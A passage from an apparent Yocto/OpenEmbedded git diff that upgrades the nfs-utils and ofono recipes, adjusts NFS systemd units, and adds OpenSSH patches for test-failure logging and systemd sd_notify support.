EnvironmentFile=-@SYSCONFDIR@/nfs-utils.conf
ExecStart=@SBINDIR@/rpc.mountd -F $MOUNTD_OPTS
LimitNOFILE=@HIGH_RLIMIT_NOFILE@
+StateDirectory=nfs
[Install]
WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service
index 6481377d80..15ceee04d0 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service
@@ -17,8 +17,8 @@ ExecStop=@SBINDIR@/rpc.nfsd 0
ExecStopPost=@SBINDIR@/exportfs -au
ExecStopPost=@SBINDIR@/exportfs -f
ExecReload=@SBINDIR@/exportfs -r
-StandardError=syslog
RemainAfterExit=yes
+StateDirectory=nfs
[Install]
WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-statd.service b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-statd.service
index 4fa64e1998..b519194121 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-statd.service
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-statd.service
@@ -4,11 +4,13 @@ DefaultDependencies=no
Conflicts=umount.target
Requires=nss-lookup.target rpcbind.service
After=network.target nss-lookup.target rpcbind.service
+ConditionPathExists=@SYSCONFDIR@/exports
[Service]
EnvironmentFile=-@SYSCONFDIR@/nfs-utils.conf
ExecStart=@SBINDIR@/rpc.statd -F $STATD_OPTS
LimitNOFILE=@HIGH_RLIMIT_NOFILE@
+StateDirectory=nfs
[Install]
WantedBy=multi-user.target
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.1.bb b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.1.bb
deleted file mode 100644
index b8ad23a0d8..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.1.bb
+++ /dev/null
@@ -1,145 +0,0 @@
-SUMMARY = "userspace utilities for kernel nfs"
-DESCRIPTION = "The nfs-utils package provides a daemon for the kernel \
-NFS server and related tools."
-HOMEPAGE = "http://nfs.sourceforge.net/"
-SECTION = "console/network"
-
-LICENSE = "MIT & GPLv2+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=95f3a93a5c3c7888de623b46ea085a84"
-
-# util-linux for libblkid
-DEPENDS = "libcap libevent util-linux sqlite3 libtirpc"
-RDEPENDS_${PN} = "${PN}-client"
-RRECOMMENDS_${PN} = "kernel-module-nfsd"
-
-inherit useradd
-
-USERADD_PACKAGES = "${PN}-client"
-USERADD_PARAM_${PN}-client = "--system --home-dir /var/lib/nfs \
- --shell /bin/false --user-group rpcuser"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/nfs-utils/${PV}/nfs-utils-${PV}.tar.xz \
- file://nfsserver \
- file://nfscommon \
- file://nfs-utils.conf \
- file://nfs-server.service \
- file://nfs-mountd.service \
- file://nfs-statd.service \
- file://proc-fs-nfsd.mount \
- file://nfs-utils-debianize-start-statd.patch \
- file://bugfix-adjust-statd-service-name.patch \
- file://0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch \
- file://clang-warnings.patch \
- "
-SRC_URI[sha256sum] = "0f1c8170e16a07d9836bbf0836d48d0c842b6f0e0e8b18748f099751851d30c4"
-
-# Only kernel-module-nfsd is required here (but can be built-in) - the nfsd module will
-# pull in the remainder of the dependencies.
-
-INITSCRIPT_PACKAGES = "${PN} ${PN}-client"
-INITSCRIPT_NAME = "nfsserver"
-INITSCRIPT_PARAMS = "defaults"
-INITSCRIPT_NAME_${PN}-client = "nfscommon"
-INITSCRIPT_PARAMS_${PN}-client = "defaults 19 21"
-
-inherit autotools-brokensep update-rc.d systemd pkgconfig
-
-SYSTEMD_PACKAGES = "${PN} ${PN}-client"
-SYSTEMD_SERVICE_${PN} = "nfs-server.service nfs-mountd.service"
-SYSTEMD_SERVICE_${PN}-client = "nfs-statd.service"
-
-# --enable-uuid is need for cross-compiling
-EXTRA_OECONF = "--with-statduser=rpcuser \
- --enable-mountconfig \
- --enable-libmount-mount \
- --enable-uuid \
- --disable-gss \
- --disable-nfsdcltrack \
- --with-statdpath=/var/lib/nfs/statd \
- --with-rpcgen=${HOSTTOOLS_DIR}/rpcgen \
- "
-
-PACKAGECONFIG ??= "tcp-wrappers \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG_remove_libc-musl = "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--with-tcp-wrappers,--without-tcp-wrappers,tcp-wrappers"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-# libdevmapper is available in meta-oe
-PACKAGECONFIG[nfsv41] = "--enable-nfsv41,--disable-nfsv41,libdevmapper,libdevmapper"
-# keyutils is available in meta-oe
-PACKAGECONFIG[nfsv4] = "--enable-nfsv4,--disable-nfsv4,keyutils,python3-core"
-
-PACKAGES =+ "${PN}-client ${PN}-mount ${PN}-stats"
-
-CONFFILES_${PN}-client += "${localstatedir}/lib/nfs/etab \
- ${localstatedir}/lib/nfs/rmtab \
- ${localstatedir}/lib/nfs/xtab \
- ${localstatedir}/lib/nfs/statd/state \
- ${sysconfdir}/nfsmount.conf"
-
-FILES_${PN}-client = "${sbindir}/*statd \
- ${sbindir}/rpc.idmapd ${sbindir}/sm-notify \
- ${sbindir}/showmount ${sbindir}/nfsstat \
- ${localstatedir}/lib/nfs \
- ${sysconfdir}/nfs-utils.conf \
- ${sysconfdir}/nfsmount.conf \
- ${sysconfdir}/init.d/nfscommon \
- ${systemd_unitdir}/system/nfs-statd.service"
-RDEPENDS_${PN}-client = "${PN}-mount rpcbind"
-
-FILES_${PN}-mount = "${base_sbindir}/*mount.nfs*"
-
-FILES_${PN}-stats = "${sbindir}/mountstats ${sbindir}/nfsiostat ${sbindir}/nfsdclnts"
-RDEPENDS_${PN}-stats = "python3-core"
-
-FILES_${PN}-staticdev += "${libdir}/libnfsidmap/*.a"
-
-FILES_${PN} += "${systemd_unitdir} ${libdir}/libnfsidmap/"
-
-do_configure_prepend() {
- sed -i -e 's,sbindir = /sbin,sbindir = ${base_sbindir},g' \
- ${S}/utils/mount/Makefile.am
-}
-
-# Make clean needed because the package comes with
-# precompiled 64-bit objects that break the build
-do_compile_prepend() {
- make clean
-}
-
-# Works on systemd only
-HIGH_RLIMIT_NOFILE ??= "4096"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/nfsserver ${D}${sysconfdir}/init.d/nfsserver
- install -m 0755 ${WORKDIR}/nfscommon ${D}${sysconfdir}/init.d/nfscommon
-
- install -m 0755 ${WORKDIR}/nfs-utils.conf ${D}${sysconfdir}
- install -m 0755 ${S}/utils/mount/nfsmount.conf ${D}${sysconfdir}
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/nfs-server.service ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/nfs-mountd.service ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/nfs-statd.service ${D}${systemd_unitdir}/system/
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@HIGH_RLIMIT_NOFILE@,${HIGH_RLIMIT_NOFILE},g' \
- ${D}${systemd_unitdir}/system/*.service
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -m 0644 ${WORKDIR}/proc-fs-nfsd.mount ${D}${systemd_unitdir}/system/
- install -d ${D}${systemd_unitdir}/system/sysinit.target.wants/
- ln -sf ../proc-fs-nfsd.mount ${D}${systemd_unitdir}/system/sysinit.target.wants/proc-fs-nfsd.mount
- fi
-
- # kernel code as of 3.8 hard-codes this path as a default
- install -d ${D}/var/lib/nfs/v4recovery
-
- # chown the directories and files
- chown -R rpcuser:rpcuser ${D}${localstatedir}/lib/nfs/statd
- chmod 0644 ${D}${localstatedir}/lib/nfs/statd/state
-
- # Make python tools use python 3
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${sbindir}/mountstats ${D}${sbindir}/nfsiostat
-}
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.4.bb b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.4.bb
new file mode 100644
index 0000000000..2f2644f9a8
--- /dev/null
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.4.bb
@@ -0,0 +1,154 @@
+SUMMARY = "userspace utilities for kernel nfs"
+DESCRIPTION = "The nfs-utils package provides a daemon for the kernel \
+NFS server and related tools."
+HOMEPAGE = "http://nfs.sourceforge.net/"
+SECTION = "console/network"
+
+LICENSE = "MIT & GPL-2.0-or-later & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=95f3a93a5c3c7888de623b46ea085a84"
+
+# util-linux for libblkid
+DEPENDS = "libcap libevent util-linux sqlite3 libtirpc"
+RDEPENDS:${PN} = "${PN}-client"
+RRECOMMENDS:${PN} = "kernel-module-nfsd"
+
+inherit useradd
+
+USERADD_PACKAGES = "${PN}-client"
+USERADD_PARAM:${PN}-client = "--system --home-dir /var/lib/nfs \
+ --shell /bin/false --user-group rpcuser"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/nfs-utils/${PV}/nfs-utils-${PV}.tar.xz \
+ file://nfsserver \
+ file://nfscommon \
+ file://nfs-utils.conf \
+ file://nfs-server.service \
+ file://nfs-mountd.service \
+ file://nfs-statd.service \
+ file://proc-fs-nfsd.mount \
+ file://nfs-utils-debianize-start-statd.patch \
+ file://bugfix-adjust-statd-service-name.patch \
+ file://0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch \
+ file://clang-warnings.patch \
+ file://0001-locktest-Makefile.am-Do-not-use-build-flags.patch \
+ file://0001-tools-locktest-Use-intmax_t-to-print-off_t.patch \
+ file://0001-reexport.h-Include-unistd.h-to-compile-with-musl.patch \
+ "
+SRC_URI[sha256sum] = "01b3b0fb9c7d0bbabf5114c736542030748c788ec2fd9734744201e9b0a1119d"
+
+# Only kernel-module-nfsd is required here (but can be built-in) - the nfsd module will
+# pull in the remainder of the dependencies.
+
+INITSCRIPT_PACKAGES = "${PN} ${PN}-client"
+INITSCRIPT_NAME = "nfsserver"
+INITSCRIPT_PARAMS = "defaults"
+INITSCRIPT_NAME:${PN}-client = "nfscommon"
+INITSCRIPT_PARAMS:${PN}-client = "defaults 19 21"
+
+inherit autotools-brokensep update-rc.d systemd pkgconfig
+
+SYSTEMD_PACKAGES = "${PN} ${PN}-client"
+SYSTEMD_SERVICE:${PN} = "nfs-server.service nfs-mountd.service"
+SYSTEMD_SERVICE:${PN}-client = "nfs-statd.service"
+
+# --enable-uuid is need for cross-compiling
+EXTRA_OECONF = "--with-statduser=rpcuser \
+ --enable-mountconfig \
+ --enable-libmount-mount \
+ --enable-uuid \
+ --disable-gss \
+ --disable-nfsdcltrack \
+ --with-statdpath=/var/lib/nfs/statd \
+ --with-rpcgen=${HOSTTOOLS_DIR}/rpcgen \
+ "
+
+LDFLAGS:append = " -lsqlite3 -levent"
+
+PACKAGECONFIG ??= "tcp-wrappers \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG:remove:libc-musl = "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--with-tcp-wrappers,--without-tcp-wrappers,tcp-wrappers"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+# libdevmapper is available in meta-oe
+PACKAGECONFIG[nfsv41] = "--enable-nfsv41,--disable-nfsv41,libdevmapper,libdevmapper"
+# keyutils is available in meta-oe
+PACKAGECONFIG[nfsv4] = "--enable-nfsv4,--disable-nfsv4,keyutils,python3-core"
+
+PACKAGES =+ "${PN}-client ${PN}-mount ${PN}-stats ${PN}-rpcctl"
+
+CONFFILES:${PN}-client += "${localstatedir}/lib/nfs/etab \
+ ${localstatedir}/lib/nfs/rmtab \
+ ${localstatedir}/lib/nfs/xtab \
+ ${localstatedir}/lib/nfs/statd/state \
+ ${sysconfdir}/nfsmount.conf"
+
+FILES:${PN}-client = "${sbindir}/*statd \
+ ${libdir}/libnfsidmap.so.* \
+ ${sbindir}/rpc.idmapd ${sbindir}/sm-notify \
+ ${sbindir}/showmount ${sbindir}/nfsstat \
+ ${localstatedir}/lib/nfs \
+ ${sysconfdir}/nfs-utils.conf \
+ ${sysconfdir}/nfsmount.conf \
+ ${sysconfdir}/init.d/nfscommon \
+ ${systemd_system_unitdir}/nfs-statd.service"
+RDEPENDS:${PN}-client = "${PN}-mount rpcbind"
+
+FILES:${PN}-mount = "${base_sbindir}/*mount.nfs*"
+
+FILES:${PN}-stats = "${sbindir}/mountstats ${sbindir}/nfsiostat ${sbindir}/nfsdclnts"
+RDEPENDS:${PN}-stats = "python3-core"
+
+FILES:${PN}-rpcctl = "${sbindir}/rpcctl"
+RDEPENDS:${PN}-rpcctl = "python3-core"
+
+FILES:${PN}-staticdev += "${libdir}/libnfsidmap/*.a"
+
+FILES:${PN} += "${systemd_unitdir} ${libdir}/libnfsidmap/ ${nonarch_libdir}/modprobe.d"
+
+do_configure:prepend() {
+ sed -i -e 's,sbindir = /sbin,sbindir = ${base_sbindir},g' \
+ ${S}/utils/mount/Makefile.am
+}
+
+# Make clean needed because the package comes with
+# precompiled 64-bit objects that break the build
+do_compile:prepend() {
+ make clean
+}
+
+# Works on systemd only
+HIGH_RLIMIT_NOFILE ??= "4096"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/nfsserver ${D}${sysconfdir}/init.d/nfsserver
+ install -m 0755 ${WORKDIR}/nfscommon ${D}${sysconfdir}/init.d/nfscommon
+
+ install -m 0755 ${WORKDIR}/nfs-utils.conf ${D}${sysconfdir}
+ install -m 0755 ${S}/utils/mount/nfsmount.conf ${D}${sysconfdir}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/nfs-server.service ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/nfs-mountd.service ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/nfs-statd.service ${D}${systemd_system_unitdir}/
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@HIGH_RLIMIT_NOFILE@,${HIGH_RLIMIT_NOFILE},g' \
+ ${D}${systemd_system_unitdir}/*.service
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -m 0644 ${WORKDIR}/proc-fs-nfsd.mount ${D}${systemd_system_unitdir}/
+ install -d ${D}${systemd_system_unitdir}/sysinit.target.wants/
+ ln -sf ../proc-fs-nfsd.mount ${D}${systemd_system_unitdir}/sysinit.target.wants/proc-fs-nfsd.mount
+ fi
+
+ # kernel code as of 3.8 hard-codes this path as a default
+ install -d ${D}/var/lib/nfs/v4recovery
+
+ # chown the directories and files
+ chown -R rpcuser:rpcuser ${D}${localstatedir}/lib/nfs/statd
+ chmod 0644 ${D}${localstatedir}/lib/nfs/statd/state
+
+ # Make python tools use python 3
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${sbindir}/mountstats ${D}${sbindir}/nfsiostat
+}
diff --git a/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch b/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch
new file mode 100644
index 0000000000..3655b3fd66
--- /dev/null
+++ b/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch
@@ -0,0 +1,28 @@
+From 76e4054801350ebd4a44057379431a33d460ad0f Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Wed, 21 Apr 2021 11:01:34 +0000
+Subject: [PATCH] mbim: Fix build with ell-0.39 by restoring unlikely macro
+ from ell/util.h
+
+Upstream-Status: Pending
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+ drivers/mbimmodem/mbim-private.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/drivers/mbimmodem/mbim-private.h b/drivers/mbimmodem/mbim-private.h
+index 51693eae..d917312c 100644
+--- a/drivers/mbimmodem/mbim-private.h
++++ b/drivers/mbimmodem/mbim-private.h
+@@ -30,6 +30,10 @@
+ __result; })
+ #endif
+
++/* used to be part of ell/util.h before 0.39:
++ https://git.kernel.org/pub/scm/libs/ell/ell.git/commit/?id=2a682421b06e41c45098217a686157f576847021 */
++#define unlikely(x) __builtin_expect(!!(x), 0)
++
+ enum mbim_control_message {
+ MBIM_OPEN_MSG = 0x1,
+ MBIM_CLOSE_MSG = 0x2,
diff --git a/meta/recipes-connectivity/ofono/ofono_1.31.bb b/meta/recipes-connectivity/ofono/ofono_1.31.bb
deleted file mode 100644
index 7d0976ad7f..0000000000
--- a/meta/recipes-connectivity/ofono/ofono_1.31.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "open source telephony"
-DESCRIPTION = "oFono is a stack for mobile telephony devices on Linux. oFono supports speaking to telephony devices through specific drivers, or with generic AT commands."
-HOMEPAGE = "http://www.ofono.org"
-BUGTRACKER = "https://01.org/jira/browse/OF"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
- file://src/ofono.h;beginline=1;endline=20;md5=3ce17d5978ef3445def265b98899c2ee"
-DEPENDS = "dbus glib-2.0 udev mobile-broadband-provider-info ell"
-
-SRC_URI = "\
- ${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
- file://ofono \
- file://0001-mbim-add-an-optional-TEMP_FAILURE_RETRY-macro-copy.patch \
-"
-SRC_URI[md5sum] = "1c26340e3c6ed132cc812595081bb3dc"
-SRC_URI[sha256sum] = "a15c5d28096c10eb30e47a68b6dc2e7c4a5a99d7f4cfedf0b69624f33d859e9b"
-
-inherit autotools pkgconfig update-rc.d systemd gobject-introspection-data
-
-INITSCRIPT_NAME = "ofono"
-INITSCRIPT_PARAMS = "defaults 22"
-SYSTEMD_SERVICE_${PN} = "ofono.service"
-
-PACKAGECONFIG ??= "\
- ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
-"
-PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_unitdir}/system/,--with-systemdunitdir="
-PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5"
-
-EXTRA_OECONF += "--enable-test --enable-external-ell"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/ofono ${D}${sysconfdir}/init.d/ofono
-}
-
-PACKAGES =+ "${PN}-tests"
-
-FILES_${PN} += "${systemd_unitdir}"
-FILES_${PN}-tests = "${libdir}/${BPN}/test"
-
-RDEPENDS_${PN} += "dbus"
-RDEPENDS_${PN}-tests = "\
- python3-core \
- python3-dbus \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)} \
-"
-
-RRECOMMENDS_${PN} += "kernel-module-tun mobile-broadband-provider-info"
diff --git a/meta/recipes-connectivity/ofono/ofono_2.4.bb b/meta/recipes-connectivity/ofono/ofono_2.4.bb
new file mode 100644
index 0000000000..dae5cc3c25
--- /dev/null
+++ b/meta/recipes-connectivity/ofono/ofono_2.4.bb
@@ -0,0 +1,55 @@
+SUMMARY = "open source telephony"
+DESCRIPTION = "oFono is a stack for mobile telephony devices on Linux. oFono supports speaking to telephony devices through specific drivers, or with generic AT commands."
+HOMEPAGE = "http://www.ofono.org"
+BUGTRACKER = "https://01.org/jira/browse/OF"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
+ file://src/ofono.h;beginline=1;endline=20;md5=3ce17d5978ef3445def265b98899c2ee"
+DEPENDS = "dbus glib-2.0 udev mobile-broadband-provider-info ell"
+
+SRC_URI = "\
+ ${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
+ file://ofono \
+ file://0001-mbim-add-an-optional-TEMP_FAILURE_RETRY-macro-copy.patch \
+ file://0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch \
+"
+SRC_URI[sha256sum] = "93580adc1afd1890dc516efb069de0c5cdfef014415256ddfb28ab172df2d11d"
+
+inherit autotools pkgconfig update-rc.d systemd gobject-introspection-data
+
+INITSCRIPT_NAME = "ofono"
+INITSCRIPT_PARAMS = "defaults 22"
+SYSTEMD_SERVICE:${PN} = "ofono.service"
+
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+"
+PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_system_unitdir}/,--with-systemdunitdir="
+PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5"
+
+EXTRA_OECONF += "--enable-test --enable-external-ell"
+
+do_configure:prepend() {
+ bbnote "Removing bundled ell from ${S}/ell to prevent including it"
+ rm -rf ${S}/ell
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/ofono ${D}${sysconfdir}/init.d/ofono
+}
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN} += "${systemd_unitdir}"
+FILES:${PN}-tests = "${libdir}/${BPN}/test"
+
+RDEPENDS:${PN} += "dbus"
+RDEPENDS:${PN}-tests = "\
+ python3-core \
+ python3-dbus \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)} \
+"
+
+RRECOMMENDS:${PN} += "kernel-module-tun mobile-broadband-provider-info"
diff --git a/meta/recipes-connectivity/openssh/openssh/0001-regress-banner.sh-log-input-and-output-files-on-erro.patch b/meta/recipes-connectivity/openssh/openssh/0001-regress-banner.sh-log-input-and-output-files-on-erro.patch
new file mode 100644
index 0000000000..8763f30f4b
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh/0001-regress-banner.sh-log-input-and-output-files-on-erro.patch
@@ -0,0 +1,61 @@
+From f5a4dacc987ca548fc86577c2dba121c86da3c34 Mon Sep 17 00:00:00 2001
+From: Mikko Rapeli <mikko.rapeli@linaro.org>
+Date: Mon, 11 Sep 2023 09:55:21 +0100
+Subject: [PATCH] regress/banner.sh: log input and output files on error
+
+Some test environments like yocto with qemu are seeing these
+tests failing. There may be additional error messages in the
+stderr of ssh cloent command. busybox cmp shows this error when
+first input file has less new line characters then second
+input file:
+
+cmp: EOF on /usr/lib/openssh/ptest/regress/banner.in
+
+Logging the full banner.out will show what other error messages
+are captured in addition of the expected banner.
+
+Full log of a failing banner test runs is:
+
+run test banner.sh ...
+test banner: missing banner file
+test banner: size 0
+cmp: EOF on /usr/lib/openssh/ptest/regress/banner.in
+banner size 0 mismatch
+test banner: size 10
+test banner: size 100
+cmp: EOF on /usr/lib/openssh/ptest/regress/banner.in
+banner size 100 mismatch
+test banner: size 1000
+test banner: size 10000
+test banner: size 100000
+test banner: suppress banner (-q)
+FAIL: banner
+return value: 1
+
+See: https://bugzilla.yoctoproject.org/show_bug.cgi?id=15178
+
+Upstream-Status: Denied [https://github.com/openssh/openssh-portable/pull/437]
+
+Signed-off-by: Mikko Rapeli <mikko.rapeli@linaro.org>
+---
+ regress/banner.sh | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/regress/banner.sh b/regress/banner.sh
+index a84feb5a..de84957a 100644
+--- a/regress/banner.sh
++++ b/regress/banner.sh
+@@ -32,7 +32,9 @@ for s in 0 10 100 1000 10000 100000 ; do
+ verbose "test $tid: size $s"
+ ( ${SSH} -F $OBJ/ssh_proxy otherhost true 2>$OBJ/banner.out && \
+ cmp $OBJ/banner.in $OBJ/banner.out ) || \
+- fail "banner size $s mismatch"
++ ( verbose "Contents of $OBJ/banner.in:"; cat $OBJ/banner.in; \
++ verbose "Contents of $OBJ/banner.out:"; cat $OBJ/banner.out; \
++ fail "banner size $s mismatch" )
+ done
+
+ trace "test suppress banner (-q)"
+--
+2.34.1
+
diff --git a/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch b/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch
new file mode 100644
index 0000000000..f079d936a4
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch
@@ -0,0 +1,96 @@
+From b02ef7621758f06eb686ef4f620636dbad086eda Mon Sep 17 00:00:00 2001
+From: Matt Jolly <Matt.Jolly@footclan.ninja>
+Date: Thu, 2 Feb 2023 21:05:40 +1100
+Subject: [PATCH] systemd: Add optional support for systemd `sd_notify`
+
+This is a rebase of Dennis Lamm's <expeditioneer@gentoo.org>
+patch based on Jakub Jelen's <jjelen@redhat.com> original patch
+
+Upstream-Status: Submitted [https://github.com/openssh/openssh-portable/pull/375/commits/be187435911cde6cc3cef6982a508261074f1e56]
+
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ configure.ac | 24 ++++++++++++++++++++++++
+ sshd.c | 13 +++++++++++++
+ 2 files changed, 37 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 82e8bb7..d1145d3 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -4870,6 +4870,29 @@ AC_SUBST([GSSLIBS])
+ AC_SUBST([K5LIBS])
+ AC_SUBST([CHANNELLIBS])
+
++# Check whether user wants systemd support
++SYSTEMD_MSG="no"
++AC_ARG_WITH(systemd,
++ [ --with-systemd Enable systemd support],
++ [ if test "x$withval" != "xno" ; then
++ AC_PATH_TOOL([PKGCONFIG], [pkg-config], [no])
++ if test "$PKGCONFIG" != "no"; then
++ AC_MSG_CHECKING([for libsystemd])
++ if $PKGCONFIG --exists libsystemd; then
++ SYSTEMD_CFLAGS=`$PKGCONFIG --cflags libsystemd`
++ SYSTEMD_LIBS=`$PKGCONFIG --libs libsystemd`
++ CPPFLAGS="$CPPFLAGS $SYSTEMD_CFLAGS"
++ SSHDLIBS="$SSHDLIBS $SYSTEMD_LIBS"
++ AC_MSG_RESULT([yes])
++ AC_DEFINE(HAVE_SYSTEMD, 1, [Define if you want systemd support.])
++ SYSTEMD_MSG="yes"
++ else
++ AC_MSG_RESULT([no])
++ fi
++ fi
++ fi ]
++)
++
+ # Looking for programs, paths and files
+
+ PRIVSEP_PATH=/var/empty
+@@ -5688,6 +5711,7 @@ echo " libldns support: $LDNS_MSG"
+ echo " Solaris process contract support: $SPC_MSG"
+ echo " Solaris project support: $SP_MSG"
+ echo " Solaris privilege support: $SPP_MSG"
++echo " systemd support: $SYSTEMD_MSG"
+ echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG"
+ echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG"
+ echo " BSD Auth support: $BSD_AUTH_MSG"
+diff --git a/sshd.c b/sshd.c
+index b4f2b97..6820a41 100644
+--- a/sshd.c
++++ b/sshd.c
+@@ -88,6 +88,10 @@
+ #include <prot.h>
+ #endif
+
++#ifdef HAVE_SYSTEMD
++#include <systemd/sd-daemon.h>
++#endif
++
+ #include "xmalloc.h"
+ #include "ssh.h"
+ #include "ssh2.h"
+@@ -308,6 +312,10 @@ static void
+ sighup_restart(void)
+ {
+ logit("Received SIGHUP; restarting.");
++#ifdef HAVE_SYSTEMD
++ /* Signal systemd that we are reloading */
++ sd_notify(0, "RELOADING=1");
++#endif
+ if (options.pid_file != NULL)
+ unlink(options.pid_file);
+ platform_pre_restart();
+@@ -2093,6 +2101,11 @@ main(int ac, char **av)
+ }
+ }
+
++#ifdef HAVE_SYSTEMD
++ /* Signal systemd that we are ready to accept connections */
++ sd_notify(0, "READY=1");
++#endif
++
+ /* Accept a connection and return in a forked child */
+ server_accept_loop(&sock_in, &sock_out,
+ &newsock, config_s);
diff --git a/meta/recipes-connectivity/openssh/openssh/run-ptest b/meta/recipes-connectivity/openssh/openssh/run-ptest
index ae03e929b2..b2244d725a 100755
--- a/meta/recipes-connectivity/openssh/openssh/run-ptest
+++ b/meta/recipes-connectivity/openssh/openssh/run-ptest
@@ -4,8 +4,22 @@ export TEST_SHELL=sh
export SKIP_UNIT=1
cd regress
+
+# copied from openssh-portable/.github/run_test.sh
+output_failed_logs() {
+ for i in failed*.log; do
+ if [ -f "$i" ]; then
+ echo -------------------------------------------------------------------------
+ echo LOGFILE $i
+ cat $i
+ echo -------------------------------------------------------------------------
+ fi
+ done
+}
+trap output_failed_logs 0
+
sed -i "/\t\tagent-ptrace /d" Makefile
-make -k .OBJDIR=`pwd` .CURDIR=`pwd` SUDO="sudo" tests \
+make -k BUILDDIR=`pwd`/.. .OBJDIR=`pwd` .CURDIR=`pwd` SUDO="" tests \
| sed -u -e 's/^skipped/SKIP: /g' -e 's/^ok /PASS: /g' -e 's/^failed/FAIL: /g'
SSHAGENT=`which ssh-agent`
diff --git a/meta/recipes-connectivity/openssh/openssh/ssh_config b/meta/recipes-connectivity/openssh/openssh/ssh_config
index e0d023803e..cb2774a163 100644
